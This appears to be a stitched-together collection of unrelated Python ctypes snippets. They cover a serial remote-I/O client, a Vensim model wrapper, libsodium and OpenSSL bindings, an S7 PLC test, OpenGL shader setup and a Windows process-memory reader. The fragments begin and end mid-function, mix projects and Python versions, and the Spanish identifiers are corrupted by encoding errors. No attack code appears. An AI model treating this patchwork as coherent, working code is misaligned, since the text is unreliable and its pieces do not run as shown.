LOG.write("SEND <{}> <{}> [ACK][SYN][]\n\n".format(
MyUDPHandler.Acks.threads[1], MyUDPHandler.Acks.threads[3]))
socket.sendto(b, self.client_address)
handle = ctypes.c_int()
error = ctypes.c_int()
resolution = ctypes.c_int()
sample = ctypes.c_int()
# Open Remote I/O Protocol Server
libremoteio.open_serial('COM1'.encode(), 115200, 1000, ctypes.byref(handle), ctypes.byref(error))
if error.value != 0:
print('ERROR: open_serial() failed, error=' + str(error.value))
quit()
# Display version information
vers = ctypes.create_string_buffer(64)
libremoteio.get_version(handle, vers, ctypes.byref(error))
if error.value != 0:
print('ERROR: get_version() failed, error=' + str(error.value))
quit()
print(vers.raw.decode())
# Display capabilities
caps = ctypes.create_string_buffer(64)
libremoteio.get_capability(handle, caps, ctypes.byref(error))
def __init__(self) -> None:
self.lib = c.cdll.LoadLibrary(fname)
self.flash_size = c.cast(self.lib.FLASH_SIZE, c.POINTER(c.c_uint32))[0]
self.flash_buffer = c.create_string_buffer(self.flash_size)
c.cast(self.lib.FLASH_BUFFER,
c.POINTER(c.c_void_p))[0] = c.addressof(self.flash_buffer)
def _inic_dic_vars(sÃmismo):
"""
Inicializamos el diccionario de variables del modelo Vensim.
"""
# Primero, verificamos el tamañano de memoria necesario para guardar una lista de los nombres de los variables.
variables = []
for t in [1, 2, 4, 5, 12]:
mem = ctypes.create_string_buffer(0) # Crear una memoria intermedia
# Verificar el tamaño necesario
tamaño_nec = cmd_vensim(func=sÃmismo.mod.vensim_get_varnames,
args=['*', t, mem, 0],
mensaje_error=_('Error obteniendo eñ tamaño de los variables Vensim.'),
val_error=-1, devolver=True
)
mem = ctypes.create_string_buffer(tamaño_nec) # Una memoria intermedia con el tamaño apropiado
# Guardar y decodar los nombres de los variables.
cmd_vensim(func=sÃmismo.mod.vensim_get_varnames,
args=['*', t, mem, tamaño_nec],
mensaje_error=_('Error obteniendo los nombres de los variables de Vensim.'),
val_error=-1
)
variables += [
x for x in mem.raw.decode().split('\x00')
if x and x not in ['FINAL TIME', 'TIME STEP', 'INITIAL TIME', 'SAVEPER', 'Time']
]
# Para guardar los nombres de variables editables (se debe hacer aquà y no por `tipo_var` porque Vensim
# los reporta como de tipo `Auxiliary`.
cmd_vensim(func=sÃmismo.mod.vensim_get_varnames,
args=['*', 12, mem, tamaño_nec],
mensaje_error=_('Error obteniendo los nombres de los variables editables ("Gaming") de '
'VENSIM.'),
val_error=-1
)
sÃmismo.editables = [x for x in mem.raw.decode().split('\x00') if x]
for var in variables:
# Para cada variable...
# Sacar sus unidades
unidades = sÃmismo._obt_atrib_var(var, cód_attrib=1)
# Verificar el tipo_mod del variable
tipo_var = sÃmismo._obt_atrib_var(var, cód_attrib=14)
# Guardamos los variables constantes en una lista.
if tipo_var == 'Constant':
tipo_var = 'constante'
elif tipo_var == 'Level':
tipo_var = 'nivel'
elif tipo_var == 'Auxiliary':
tipo_var = 'auxiliar'
elif tipo_var == 'Initial':
tipo_var = 'inicial'
elif tipo_var in [
'Data', 'Constraint', 'Lookup', 'Group', 'Subscript Range', 'Test Input', 'Time Base',
'Subscript Constant'
]:
# No incluir los variables de verificación (pruebas de modelo) Vensim, de subscriptos, de datos, etc.
continue
else:
raise ValueError(tipo_var)
# Sacar las dimensiones del variable
subs = sÃmismo._obt_atrib_var(var, cód_attrib=9)
if len(subs):
dims = (len(subs),) # Para hacer: soporte para más que 1 dimensión
nombres_subs = subs
else:
dims = (1,)
nombres_subs = None
# Sacar los lÃmites del variable
rango = (sÃmismo._obt_atrib_var(var, cód_attrib=11), sÃmismo._obt_atrib_var(var, cód_attrib=12))
rango = tuple(float(l) if l != '' else None for l in rango)
# Leer la descripción del variable.
info = sÃmismo._obt_atrib_var(var, 2)
# Leer la ecuación del variable, sus hijos y sus parientes directamente de Vensim
ec = sÃmismo._obt_atrib_var(var, 3)
hijos = sÃmismo._obt_atrib_var(var, 5)
parientes = sÃmismo._obt_atrib_var(var, 4)
if tipo_var == 'auxiliar' and not len(parientes):
tipo_var = 'constante'
ingreso = tipo_var in ['constante', 'inicial']
# Actualizar el diccionario de variables.
# Para cada variable, creamos un diccionario especial, con su valor y unidades. Puede ser un variable
# de ingreso si es de tipo_mod editable ("Gaming"), y puede ser un variable de egreso si no es un valor
# constante.
dic_var = {'val': None if dims == (1,) else np.zeros(dims), # Se llenarán los valores ahorita
'unidades': unidades,
'subscriptos': nombres_subs,
'ec': ec,
'hijos': hijos,
'parientes': parientes,
'tipo': tipo_var,
'ingreso': ingreso,
'egreso': tipo_var not in ['constante', 'inicial'],
'lÃms': rango,
'info': info}
# Guardar el diccionario del variable en el diccionario general de variables.
sÃmismo.variables[var] = dic_var
# Convertir los auxiliares parientes de niveles a flujos
nivs = sÃmismo.niveles()
for nv in nivs:
ec = Ecuación(sÃmismo.obt_ec_var(nv), dialecto='vensim')
args = ec.sacar_args_func('INTEG')
if args is None:
continue
else:
args_integ, args_inic = args
# Identificar variables iniciales
if args_inic in sÃmismo.variables:
sÃmismo.variables[args_inic]['tipo'] = 'inicial'
flujos = [v for v in Ecuación(args_integ, dialecto='vensim').variables() if v in sÃmismo.variables]
for flj in flujos:
sÃmismo.variables[flj]['tipo'] = 'flujo'
for var, d_var in sÃmismo.variables.items():
d_var['hijos'] = [h for h in d_var['hijos'] if h in sÃmismo.variables]
d_var['parientes'] = [p for p in d_var['parientes'] if p in sÃmismo.variables]
# Aplicar los variables iniciales
sÃmismo._leer_vals_de_vensim()
def load_libsodium():
global loaded, libsodium, buf
if not aead.sodium_loaded:
aead.load_sodium()
if aead.sodium_loaded:
libsodium = aead.libsodium
else:
print('load libsodium again')
libsodium = util.find_library('sodium', 'crypto_stream_salsa20_xor_ic',
'libsodium')
if libsodium is None:
raise Exception('libsodium not found')
if libsodium.sodium_init() < 0:
raise Exception('libsodium init failed')
libsodium.crypto_stream_salsa20_xor_ic.restype = c_int
libsodium.crypto_stream_salsa20_xor_ic.argtypes = (c_void_p, c_char_p,
c_ulonglong, c_char_p,
c_ulonglong, c_char_p)
libsodium.crypto_stream_chacha20_xor_ic.restype = c_int
libsodium.crypto_stream_chacha20_xor_ic.argtypes = (c_void_p, c_char_p,
c_ulonglong, c_char_p,
c_ulonglong, c_char_p)
# chacha20-poly1305
libsodium.crypto_aead_chacha20poly1305_encrypt.restype = c_int
libsodium.crypto_aead_chacha20poly1305_encrypt.argtypes = (
c_void_p,
c_void_p, # c, clen
c_char_p,
c_ulonglong, # m, mlen
c_char_p,
c_ulonglong, # ad, adlen
c_char_p, # nsec, not used
c_char_p,
c_char_p # npub, k
)
libsodium.crypto_aead_chacha20poly1305_decrypt.restype = c_int
libsodium.crypto_aead_chacha20poly1305_decrypt.argtypes = (
c_void_p,
c_void_p, # m, mlen
c_char_p, # nsec, not used
c_char_p,
c_ulonglong, # c, clen
c_char_p,
c_ulonglong, # ad, adlen
c_char_p,
c_char_p # npub, k
)
# chacha20-ietf-poly1305, same api structure as above
libsodium.crypto_aead_chacha20poly1305_ietf_encrypt.restype = c_int
libsodium.crypto_aead_chacha20poly1305_ietf_encrypt.argtypes = (
c_void_p, c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong,
c_char_p, c_char_p, c_char_p)
libsodium.crypto_aead_chacha20poly1305_ietf_decrypt.restype = c_int
libsodium.crypto_aead_chacha20poly1305_ietf_decrypt.argtypes = (
c_void_p, c_void_p, c_char_p, c_char_p, c_ulonglong, c_char_p,
c_ulonglong, c_char_p, c_char_p)
# xchacha20-ietf-poly1305, same api structure as above
if hasattr(libsodium, 'crypto_aead_xchacha20poly1305_ietf_encrypt'):
libsodium.crypto_aead_xchacha20poly1305_ietf_encrypt.restype = c_int
libsodium.crypto_aead_xchacha20poly1305_ietf_encrypt.argtypes = (
c_void_p, c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong,
c_char_p, c_char_p, c_char_p)
libsodium.crypto_aead_xchacha20poly1305_ietf_decrypt.restype = c_int
libsodium.crypto_aead_xchacha20poly1305_ietf_decrypt.argtypes = (
c_void_p, c_void_p, c_char_p, c_char_p, c_ulonglong, c_char_p,
c_ulonglong, c_char_p, c_char_p)
# aes-256-gcm, same api structure as above
libsodium.crypto_aead_aes256gcm_is_available.restype = c_int
if libsodium.crypto_aead_aes256gcm_is_available():
libsodium.crypto_aead_aes256gcm_encrypt.restype = c_int
libsodium.crypto_aead_aes256gcm_encrypt.argtypes = (c_void_p, c_void_p,
c_char_p,
c_ulonglong,
c_char_p,
c_ulonglong,
c_char_p, c_char_p,
c_char_p)
libsodium.crypto_aead_aes256gcm_decrypt.restype = c_int
libsodium.crypto_aead_aes256gcm_decrypt.argtypes = (c_void_p, c_void_p,
c_char_p, c_char_p,
c_ulonglong,
c_char_p,
c_ulonglong,
c_char_p, c_char_p)
buf = create_string_buffer(buf_size)
loaded = True
def read(self, size):
buf = ctypes.create_string_buffer(size)
n = self.m.dll.mg_read(self.conn, buf, size)
return n <= 0 and None or buf[:n]
def _cstring(raw):
""" Return the first null terminated cstring from the bufffer. """
return ctypes.create_string_buffer(raw).value
def get_var(self, data, name):
size = data and len(data) or 0
buf = ctypes.create_string_buffer(size)
n = self.m.dll.mg_get_var(data, size, name, buf, size)
return n >= 0 and buf or None
def __repr__(self):
n = MPZ_sizeinbase(self.mpq._mp_num, 10)
d = MPZ_sizeinbase(self.mpq._mp_den, 10)
buffer = create_string_buffer(n + d + 3)
return MPQ_get_str(buffer, 10, self).decode('utf-8')
def test_read_multi_vars(self):
db = 1
# build and write test values
test_value_1 = 129.5
test_bytes_1 = bytearray(struct.pack('>f', test_value_1))
self.client.db_write(db, 0, test_bytes_1)
test_value_2 = -129.5
test_bytes_2 = bytearray(struct.pack('>f', test_value_2))
self.client.db_write(db, 4, test_bytes_2)
test_value_3 = 123
test_bytes_3 = bytearray([0, 0])
util.set_int(test_bytes_3, 0, test_value_3)
self.client.db_write(db, 8, test_bytes_3)
test_values = [test_value_1, test_value_2, test_value_3]
# build up our requests
data_items = (S7DataItem * 3)()
data_items[0].Area = ctypes.c_int32(S7AreaDB)
data_items[0].WordLen = ctypes.c_int32(S7WLByte)
data_items[0].Result = ctypes.c_int32(0)
data_items[0].DBNumber = ctypes.c_int32(db)
data_items[0].Start = ctypes.c_int32(0)
data_items[0].Amount = ctypes.c_int32(4) # reading a REAL, 4 bytes
data_items[1].Area = ctypes.c_int32(S7AreaDB)
data_items[1].WordLen = ctypes.c_int32(S7WLByte)
data_items[1].Result = ctypes.c_int32(0)
data_items[1].DBNumber = ctypes.c_int32(db)
data_items[1].Start = ctypes.c_int32(4)
data_items[1].Amount = ctypes.c_int32(4) # reading a REAL, 4 bytes
data_items[2].Area = ctypes.c_int32(S7AreaDB)
data_items[2].WordLen = ctypes.c_int32(S7WLByte)
data_items[2].Result = ctypes.c_int32(0)
data_items[2].DBNumber = ctypes.c_int32(db)
data_items[2].Start = ctypes.c_int32(8)
data_items[2].Amount = ctypes.c_int32(2) # reading an INT, 2 bytes
# create buffers to receive the data
# use the Amount attribute on each item to size the buffer
for di in data_items:
# create the buffer
dataBuffer = ctypes.create_string_buffer(di.Amount)
# get a pointer to the buffer
pBuffer = ctypes.cast(ctypes.pointer(dataBuffer),
ctypes.POINTER(ctypes.c_uint8))
di.pData = pBuffer
result, data_items = self.client.read_multi_vars(data_items)
result_values = []
# function to cast bytes to match data_types[] above
byte_to_value = [util.get_real, util.get_real, util.get_int]
# unpack and test the result of each read
for i in range(len(data_items)):
btv = byte_to_value[i]
di = data_items[i]
value = btv(di.pData, 0)
result_values.append(value)
self.assertEqual(result_values[0], test_values[0])
self.assertEqual(result_values[1], test_values[1])
self.assertEqual(result_values[2], test_values[2])
def _get_constant_string(name: str) -> str:
buf = create_string_buffer(256)
core._get_constant_string(buf, len(buf), name.encode("utf-8"))
return buf.value.decode()
############################################################################################
# method to add parameters to the QMSL dll
def addParam(gResourceContext, pKeyNullStr, pDataNullStr):
#pass the pkeyNullStr and pDataNullStr as a byte object - Example: b'phyRFMode' for pKeyNullStr
# b'0' for pDataNullStr
#the pkeyNullStr MUST correspond the official pKey name used in QRCT4
#make yourself familiar with debug scripts from the QRCT4 tool first.
pKey = ctypes.create_string_buffer(pKeyNullStr)
pData = ctypes.create_string_buffer(pDataNullStr)
lib.QLIB_FTM_WLAN_TLV2_AddParam(gResourceContext, pKey, pData)
############################################################################################
#delcare a char array
libVersion = ctypes.create_string_buffer(b"", 25)
#pass a char array to a function by reference (via a pointer)
lib.QLIB_GetLibraryVersion(ctypes.byref(libVersion))
#dereference the pointer libVersion to read a value
# print(libVersion.value)
#QPST is the library mode = true
libMode = ctypes.c_uint8(1)
#libMode = ctypes.c_wchar_p('true')
#libMode = ctypes.create_string_buffer(b"true")
#libMode = ctypes.create_string_buffer(b"TRUE")
lib.QLIB_SetLibraryMode(libMode)
libMode.value
#APQ = 1
targetType = ctypes.c_uint8(1)
def bn_to_bytes(n):
b = ctypes.create_string_buffer(bn_num_bytes(n))
BN_bn2bin(n, b)
return b.raw[::-1]
f = libtest.twobythreedoublepointer f.argtypes = [c_double3x2_c_p] arg1 = c_double3x2_c() rc = f(byref(arg1)) arr = np.array(arg1, order="C") print(arr) print(arr.flags) # Exchange one letter f = libtest.letter f.argtypes = [c_char_p] arg1 = c_char(b'H') rc = f(byref(arg1)) print(rc) print(arg1.value) # Exchange a string (in) f = libtest.stringin f.argtypes = [c_char_array_p] arg1 = create_string_buffer(b'Hello from python', MAXSTRLEN) rc = f(byref(arg1)) # Exchange a string (out) f = libtest.stringout f.argtypes = [c_char_array_p] arg1 = create_string_buffer(b'', MAXSTRLEN) rc = f(byref(arg1)) print(arg1.value) del libtest
out_color = vec4(color, 1.0);
}
""",
b"""
#version 120
varying vec4 out_color;
void main()
{
gl_FragColor = out_color;
}
"""
]
shader_handles = []
for i, source in enumerate(shaders_sources):
handle = glCreateShader(GL_VERTEX_SHADER if i == 0 else GL_FRAGMENT_SHADER)
string_buffer = create_string_buffer(source)
glShaderSource(handle, 1, cast(pointer(pointer(string_buffer)), POINTER(POINTER(c_char))), None)
glCompileShader(handle)
shader_handles.append(handle)
# Create attributes.
position_name = create_string_buffer(b'position')
position_index = 0
color_name = create_string_buffer(b'color') # NEW
color_index = 1
# Create program.
program_handle = glCreateProgram()
glAttachShader(program_handle, shader_handles[0])
def read_process_memory(pid, address, size, allow_partial=False):
buf = (ctypes.c_char * size)()
nread = SIZE_T()
hProcess = kernel32.OpenProcess(PROCESS_VM_READ, False, pid)
try:
kernel32.ReadProcessMemory(hProcess, address, buf, size,
ctypes.byref(nread))
except WindowsError as e:
if not allow_partial or e.winerror != ERROR_PARTIAL_COPY:
raise
finally:
kernel32.CloseHandle(hProcess)
return buf[:nread.value]
if __name__ == '__main__':
import os
import sys
# buf = ctypes.create_string_buffer(b'abcdefghij')
# pid = os.getpid()
address = ctypes.addressof(ctypes.create_string_buffer(b'flag'))
# size = len(buf.value)
pid = 6468
address = 0xcb230
size = 100
value = read_process_memory(pid, address, size)
print value
# assert value == buf.value
def get_privkey(self):
size = ssl.i2d_ECPrivateKey(self.k, 0)
mb_pri = ctypes.create_string_buffer(size)
ssl.i2d_ECPrivateKey(self.k, ctypes.byref(ctypes.pointer(mb_pri)))
return mb_pri.raw
def read(self, offset, length):
buf = ctypes.create_string_buffer(length)
DLL.memory_obj_read(self._memobj, buf, offset, length)
return buf
def set_privkey(self, key):
self.mb = ctypes.create_string_buffer(key)
return ssl.d2i_ECPrivateKey(ctypes.byref(self.k),
ctypes.byref(ctypes.pointer(self.mb)),
len(key))
def get_pubkey(self):
size = ssl.i2o_ECPublicKey(self.k, 0)
mb = ctypes.create_string_buffer(size)
ssl.i2o_ECPublicKey(self.k, ctypes.byref(ctypes.pointer(mb)))
return mb.raw
def buffer_from_bytes(initializer):
return create_string_buffer(initializer)
def set_pubkey(self, key):
self.mb = ctypes.create_string_buffer(key)
return ssl.o2i_ECPublicKey(ctypes.byref(self.k),
ctypes.byref(ctypes.pointer(self.mb)),
len(key))
def pack_records(format, data, file):
record_struct = struct.Struct(format)
buff = create_string_buffer(len(data) * record_struct.size)
for idx in range(0, len(data)):
record_struct.pack_into(buff, idx * record_struct.size, *data[idx])
file.write(buff)
def __init__(self):
#consider bumping opengl version if apple supports it
#amdgpu-mesa currently supports up to 4.5
super(ControledRender,
self).__init__(512,
512,
fullscreen=False,
config=gl.Config(major_version=4,
minor_version=1),
visible=False)
print(self.context.get_info().get_version())
self.vertex_buffer = gl.GLuint(0)
self.vao = gl.GLuint(0)
#self.prev_program = (gl.GLint * 1)()
self.dimx = args["A"].shape[0]
self.dimy = args["A"].shape[1]
self.dimz = args["A"].shape[2]
A = args["A"].astype(np.float32)
#print("A shape " + str(A.shape))
#print(str(A.dtype))
#print(A)
#self.dp = self.tdata.ctypes.data_as(ctypes.POINTER(ctypes.c_void_p))
self.Ap = A.ctypes.data_as(ctypes.POINTER(ctypes.c_void_p))
T = args["transform"].astype(np.float32)
self.Tp = T.ctypes.data_as(ctypes.POINTER(ctypes.c_float))
self.setupFBOandTextures()
self.setupShaders()
data = [
-1.0, -1.0, 1.0, -1.0, 1.0, 1.0, -1.0, -1.0, 1.0, 1.0, -1.0,
1.0
]
dataGl = (gl.GLfloat * len(data))(*data)
gl.glGenBuffers(1, ctypes.byref(self.vertex_buffer))
gl.glBindBuffer(gl.GL_ARRAY_BUFFER, self.vertex_buffer)
gl.glBufferData(gl.GL_ARRAY_BUFFER,
len(dataGl) * 4, dataGl, gl.GL_STATIC_DRAW)
gl.glGenVertexArrays(1, ctypes.byref(self.vao))
gl.glBindVertexArray(self.vao)
gl.glUseProgram(self.programA)
self.pos_posA = gl.glGetAttribLocation(
self.programA, ctypes.create_string_buffer(b"a_position"))
assert (self.pos_posA >= 0)
gl.glEnableVertexAttribArray(self.pos_posA)
gl.glBindBuffer(gl.GL_ARRAY_BUFFER, self.vertex_buffer)
gl.glVertexAttribPointer(self.pos_posA, 2, gl.GL_FLOAT, False, 0,
0)
self.tex_pos_A = gl.glGetUniformLocation(self.programA, b"A")
self.transform_pos = gl.glGetUniformLocation(
self.programA, b"transform")
self.step_pos_A = gl.glGetUniformLocation(self.programA, b"step")
self.slice_pos_A = gl.glGetUniformLocation(self.programA, b"slice")
self.checkUniformLocation(self.tex_pos_A)
self.checkUniformLocation(self.transform_pos)
self.checkUniformLocation(self.step_pos_A)
self.checkUniformLocation(self.slice_pos_A)
gl.glUniformMatrix4fv(self.transform_pos, 1, True, self.Tp)
#gl.glUniformMatrix4fv(self.transform_pos, 1, False, self.Tp)
#may need changed for nonsquare textures
gl.glUniform1f(self.step_pos_A, 1 / self.dimx)
gl.glViewport(0, 0, self.dimx, self.dimy)
def _windll_getnode():
"""Get the hardware address on Windows using ctypes."""
_buffer = ctypes.create_string_buffer(16)
if _UuidCreate(_buffer) == 0:
return UUID(bytes=bytes_(_buffer.raw)).node
def get_ctype_string_buffer(size):
if sys.platform == 'win32':
return ctypes.create_unicode_buffer(size)
else:
return ctypes.create_string_buffer(size)
def _unixdll_getnode():
"""Get the hardware address on Unix using ctypes."""
_buffer = ctypes.create_string_buffer(16)
_uuid_generate_time(_buffer)
return UUID(bytes=bytes_(_buffer.raw)).node
def WriteFile(handle, data, ol=None):
c_written = DWORD()
success = ctypes.windll.kernel32.WriteFile(
handle, ctypes.create_string_buffer(encode(data)), len(data),
ctypes.byref(c_written), ol)
return ctypes.windll.kernel32.GetLastError(), c_written.value
